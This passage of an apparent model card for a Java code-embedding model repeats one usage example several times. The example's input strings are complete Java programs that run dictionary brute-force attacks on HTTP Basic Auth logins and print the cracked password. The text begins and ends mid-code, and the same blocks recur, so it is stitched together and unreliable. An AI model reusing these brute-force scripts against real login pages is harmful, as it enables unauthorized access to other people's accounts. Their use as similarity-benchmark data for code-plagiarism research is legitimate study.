\n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while 